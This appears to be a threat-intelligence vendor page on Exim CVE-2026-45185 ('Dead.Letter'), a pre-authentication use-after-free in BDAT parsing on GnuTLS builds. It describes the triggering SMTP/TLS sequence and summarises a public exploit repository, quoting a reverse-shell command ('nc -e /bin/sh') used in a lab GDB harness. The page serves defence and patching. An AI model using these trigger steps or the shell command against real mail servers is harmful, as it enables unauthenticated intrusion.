Loading vulnerability…
Dead.Letter is a critical remotely reachable use-after-free vulnerability in Exim’s BDAT message body parsing path when Exim is built with the GnuTLS backend. It affects Exim versions before 4.99.3, commonly described as 4.97 through 4.99.2 with GnuTLS enabled. The flaw is triggered during SMTP CHUNKING transfers when a client sends a TLS close_notify alert before the BDAT body transfer completes and then sends a final byte in cleartext on the same TCP connection. In the vulnerable state transition, Exim tears down TLS state and frees the TLS transfer buffer, but nested BDAT receive wrappers can still invoke lower-layer TLS callbacks and perform a write into freed heap memory. This results in heap corruption and creates a path to unauthenticated remote code execution.
Mallory correlates every CVE against your assets, your vendors, and active adversary campaigns. Know which vulnerabilities matter for you, not just which ones are loud.
What it means. What to do now. Patch path, mitigations, and the assume-compromise checklist.
What an attacker gets, and what they’ve been doing with it.
If you can’t patch tonight, do this now.
Patch, then assume compromise.
1 valid exploit after Mallory filtered fakes, detection scripts, and README-only repos (3 hidden).
This repository contains a compact exploit set for CVE-2026-45185 ('Dead.Letter'), a pre-authentication heap use-after-free in Exim SMTP on Ubuntu/GnuTLS builds when CHUNKING/BDAT is enabled. The repository has 4 files: a README, a Nuclei template, a Python network PoC, and a Python GDB harness. Because it includes a Nuclei template, it is framework-associated, but the repository itself also contains standalone exploit code beyond detection. Main capabilities: the Nuclei template performs safe detection only, fingerprinting Exim over raw TCP on ports 25 and 587 by checking the SMTP banner/EHLO response for vulnerable versions, Ubuntu/GnuTLS indicators, and CHUNKING support, then confirming BDAT handler behavior with an out-of-sequence 'BDAT 200' probe. The standalone poc.py is a real network trigger: it connects to SMTP, performs EHLO, STARTTLS, a TLS-wrapped EHLO, MAIL FROM, RCPT TO, enters BDAT mode, sends a partial body, then sends TLS close_notify via unwrap() while the server is mid-body-read, followed by a cleartext byte to drive execution back into the stale session pointer path. This PoC does not include a remote payload and is intended to demonstrate reachability of the UAF path. The most offensive component is diag19_gdb.py, a local debugger-assisted exploit harness for lab use. It sets multiple GDB breakpoints on Exim/GnuTLS functions, captures the freed gnutls session pointer, restores Exim's read callback to keep the freed TLS session reachable, and writes crafted values into the freed chunk after gnutls_deinit() returns. It overwrites the pull function pointer with system(), points the transport pointer at an injected command buffer, and uses the command 'nc -e /bin/sh 127.0.0.1 4444' to launch a reverse shell. This is not a standalone remote exploit; it requires local GDB control, ASLR disabled, and matching binary/library versions, but it demonstrates a path from UAF to code execution. Repository structure and purpose: README.md documents the vulnerability, affected versions, lab setup, usage examples, and remediation. CVE-2026-45185.yaml is a read-only detection template for Nuclei. poc.py is the primary standalone exploit entry point for reproducing the vulnerable network state. diag19_gdb.py is a post-trigger exploitation aid for controlled lab validation of RCE. Overall, the repository's purpose is to provide detection, reproduction, and lab-grade exploitation material for Exim CVE-2026-45185.
Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.
Vendor-confirmed product mapping. Mallory continuously reconciles this list against your asset inventory.
101 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
An unauthenticated remote code execution vulnerability in EXIM, used as one of the vulnerabilities in the AI-generated patch evaluation.
An unauthenticated remote code execution vulnerability in EXIM, included in the study as a complex patching target.
An unauthenticated remote code execution vulnerability in EXIM, used in the research on LLM-generated vulnerability patches.
A vulnerability in Exim that could allow an unauthenticated remote attacker to execute arbitrary code on affected instances.
Query your assets running an affected version, and investigate the blast radius.
Every observed campaign linking this CVE to a named adversary.
Malware families riding this exploit, with evidence and IOCs.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Cross-references every affected SKU, including bundled OEM variants.
Community discussion across Reddit, Mastodon, and other social sources.